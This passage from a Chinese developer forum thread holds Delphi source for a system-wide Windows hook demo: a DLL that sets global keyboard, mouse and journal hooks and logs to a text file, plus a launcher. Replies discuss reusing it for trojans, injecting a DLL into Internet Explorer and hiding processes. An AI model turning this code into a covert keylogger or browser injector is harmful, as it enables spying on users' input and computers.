ShellProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function SysMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function ForegroundIdleProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; end. --------这是*.dll主程序------------------ library DemoHook; uses windows,messages,sysutils, HookProc in 'HookProc.pas'; {$r *.res} const HookMemFileName='DllHookMemFile.DTA'; HTName:array[1..13] of pchar=( 'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK', 'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE' ); type THookProc = function(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; PShared=^TShared; THook = record HookHand:HHook; HookType:integer; HookProc:THookProc; end; TShared = record Hook:array [0..16] of THook; Father,Self:integer; Count:integer; hinst:integer; end; TWin = record Msg:TMsg; wClass:TWndClass; hMain:integer; end; var MemFile:THandle; Shared:PShared; Win:TWin; wmhook:integer; procedure SaveInfo(k:integer;str:string);stdcall; var f:textfile; WorkPath:string; begin WorkPath:=ExtractFilePath(ParamStr(0)); assignfile(f,WorkPath+'Records.txt'); if fileexists(WorkPath+'Records.txt')=false then rewrite(f) else append(f); //if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'') //else write(f,str); writeln(f,HTName[k]+'----'+str); closefile(f); end; procedure InitHookData; var k:integer; begin with Shared^ do begin for k:=0 to 14 do Hook[k].HookHand:=0; // Hook[0].HookType:=WH_CALLWNDPROC; Hook[0].HookProc:=@CallWndProc; // Hook[1].HookType:=WH_CALLWNDPROCRET; Hook[1].HookProc:=@CallWndRetProc; // Hook[2].HookType:=WH_CBT; Hook[2].HookProc:=@CBTProc; // Hook[3].HookType:=WH_DEBUG; Hook[3].HookProc:=@DebugProc; // Hook[4].HookType:=WH_GETMESSAGE; Hook[4].HookProc:=@GetMsgProc; // Hook[5].HookType:=WH_JOURNALPLAYBACK; Hook[5].HookProc:=@JournalPlaybackProc; // Hook[6].HookType:=WH_JOURNALRECORD; Hook[6].HookProc:=@JournalRecordProc; // Hook[7].HookType:=WH_KEYBOARD; Hook[7].HookProc:=@KeyboardProc; // Hook[8].HookType:=WH_MOUSE; Hook[8].HookProc:=@MouseProc; // Hook[9].HookType:=WH_MSGFILTER; Hook[9].HookProc:=@MessageProc; // Hook[10].HookType:=WH_SHELL ; Hook[10].HookProc:=@ShellProc; // Hook[11].HookType:=WH_SYSMSGFILTER; Hook[11].HookProc:=@SysMsgProc; // Hook[12].HookType:=WH_FOREGROUNDIDLE; Hook[12].HookProc:=@ForegroundIdleProc; end; end; function SetHook(fSet:boolean;HookId:integer):bool;stdcall; begin with shared^ do if fSet=true then begin if Hook[HookId].HookHand=0 then begin Hook[HookId].HookHand:=SetWindowsHookEx(Hook[HookId].HookType,Hook[HookId].HookProc,hinstance,0); if Hook[HookId].HookHand<>0 then Result:=true else Result:=false; end else Result:=true; end else begin if Hook[HookId].HookHand<>0 then begin if UnhookWindowsHookEx(Hook[HookId].HookHand)=true then begin Hook[HookId].HookHand:=0; Result:=true; end else Result:=false; end else Result:=true; end; end; procedure Extro; begin UnmapViewOfFile(Shared); CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; var k:integer; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of wm_destroy: begin for k:=0 to 12 do SetHook(False,k); postmessage(findwindow('WinHook',nil),wm_destroy,0,0); ExitThread(0); end; end; if msg=wmhook then begin if wparam>0 then begin if sethook(true,wparam-1)=true then postmessage(findwindow('WinHook',nil),wmhook,wparam,0); end else begin if sethook(false,-wparam-1)=true then postmessage(findwindow('WinHook',nil),wmhook,wparam,0); end; end; end; procedure run;stdcall; //var k:integer; begin win.wClass.lpfnWndProc:= @WindowProc; win.wClass.hInstance:= hInstance; win.wClass.lpszClassName:='WideHook'; RegisterClass(win.wClass); win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'WideHook',WS_CAPTION,0,0,1,1,0,0,hInstance,nil); FillChar(Shared^,SizeOf(TShared),0); shared^.self:=win.hmain; shared^.hinst:=hinstance; InitHookData; wmhook:=registerwindowmessage(pchar('wm_hook')); while(GetMessage(win.Msg,win.hmain,0,0))do begin TranslateMessage(win.Msg); DispatchMessage(win.Msg); end; end; procedure DllEntryPoint(fdwReason:DWORD); begin case fdwReason of DLL_PROCESS_DETACH: Extro; end; end; exports run; begin //建立内存映象文件,用来保存全局变量 MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName); Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0); DLLProc:=@DllEntryPoint; end. ---------这是*.exe主程序--------------------------- Program WinHook; uses windows,messages,sysutils; {$r *.res} //使用资源文件 const HTName:array[1..13] of pchar=( 'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK', 'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE' ); type TWin = record Msg:TMsg; wClass:TWndClass; hMain:integer; hbut,hlab:array[1..16] of integer; hLib:integer; HookStat:array[1..16] of bool; end; var Win:TWin; //结构变量 wmhook:integer; WorkPath:string; hRun:procedure;stdcall; // procedure runhookfun; begin win.hlib:=loadlibrary(pchar(WorkPath+'DemoHook.dll')); if win.hlib=0 then messagebox(win.hmain,'error','',0); hrun:=GetProcAddress(win.hlib,'run'); if @hrun<>nil then hrun; end; procedure runhook; var tid:integer; begin createthread(nil,0,@runhookfun,nil,0,tid); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; var k:integer; begin case Msg of WM_SYSCOMMAND: begin case wparam of SC_CLOSE: begin if findwindow('WideHook','WideHook')<>0 then postmessage(findwindow('WideHook','WideHook'),wm_destroy,0,0); end;//showwindow(hwnd,sw_hide); SC_MINIMIZE:;//showwindow(hwnd,sw_hide); SC_MAXIMIZE:; SC_DEFAULT:; SC_MOVE:; SC_SIZE:; //else //Result := DefWindowProc(hwnd, uMsg, wParam, lParam); end; exit; end; wm_command: begin for k:=1 to 13 do begin if (lparam=win.hbut[k]) and ((k=6) or (k=7)) then break; if lparam=win.hbut[k] then begin if win.HookStat[k]=false then postmessage(findwindow('WideHook','WideHook'),wmhook,k,0) else postmessage(findwindow('WideHook','WideHook'),wmhook,-k,0); end; end; end; wm_destroy: begin freelibrary(win.hlib); halt; end; end; if msg=wmhook then begin if wparam>0 then begin setwindowtext(win.hbut[wparam],pchar('stop')); win.HookStat[wparam]:=true; end else begin setwindowtext(win.hbut[-wparam],pchar('start')); win.HookStat[-wparam]:=false; end; end; Result:=DefWindowProc(hWnd,Msg,wParam,lParam); end; //主程序的执行函数 procedure run;stdcall; var k:integer; begin if findwindow('WinHook',nil)<>0 then exit; win.wClass.hInstance:= hInstance; with win.wclass do begin hIcon:= LoadIcon(hInstance,'MAINICON'); hCursor:= LoadCursor(0,IDC_ARROW); hbrBackground:= COLOR_BTNFACE+1; Style:= CS_PARENTDC; lpfnWndProc:= @WindowProc; lpszClassName:='WinHook'; end; RegisterClass(win.wClass); win.hmain:=CreateWindow(win.wClass.lpszClassName,'Delphi Hook Demo 2001',WS_VISIBLE or WS_OVERLAPPEDWINDOW,0,0,240,450,0,0,hInstance,nil); for k:=1 to 13 do begin win.hbut[k]:=CreateWindow('BUTTON','Start',WS_VISIBLE or WS_CHILD,10,10+30*(k-1),50,24,win.hmain,0,hInstance,nil); win.hlab[k]:=CreateWindow('STATIC',HTName[k],WS_VISIBLE or WS_CHILD,70,10+30*(k-1)+4,150,24,win.hmain,0,hInstance,nil); win.HookStat[k]:=false; end; WorkPath:=ExtractFilePath(ParamStr(0)); runhook; wmhook:=registerwindowmessage(pchar('wm_hook')); while(GetMessage(win.Msg,win.hmain,0,0)) do begin TranslateMessage(win.Msg); DispatchMessage(win.Msg); end; end; begin run; //开始运行主程序 end. |
![]() | 得0分 |
现在像njhhack(剑影)兄这样的人物真是太少了,大家都抱着自己“辛苦”得来的一点点技术不放,看着别人焦头烂额搞不出来,还在边上窃笑,真TMD恶心。你会你就说啊,你不说我们怎么知道?靠! 剑影兄应该出去挣大钱啊,呆在小学校里可惜了..... |
![]() | 得0分 |
我发现过怎么就没有想到用它做木马呀!可惜,太没有创意了,我说我自己,不过,要挂个DLL到IE里头去用得着这么麻烦吗? |
![]() | 得0分 |
同意楼上的!!! |
![]() | 得0分 |
对共享自己心得的各位大侠表示十二分的敬意 考完试一定用心研究! |
![]() | 得20分 |
give me cent |
![]() | 得0分 |
BlueTrees(蜗牛),能不能请教一下,如何非常容易的要挂个DLL到IE里头去,而不用得着这么麻烦吗?谢谢了 |
![]() | 得0分 |
剑影兄台,真是佩服。。。。。 |
![]() | 得0分 |
我发现bo2k的进程隐藏法太差了,比这种方法差多了 |
| |||||||||||||||||
|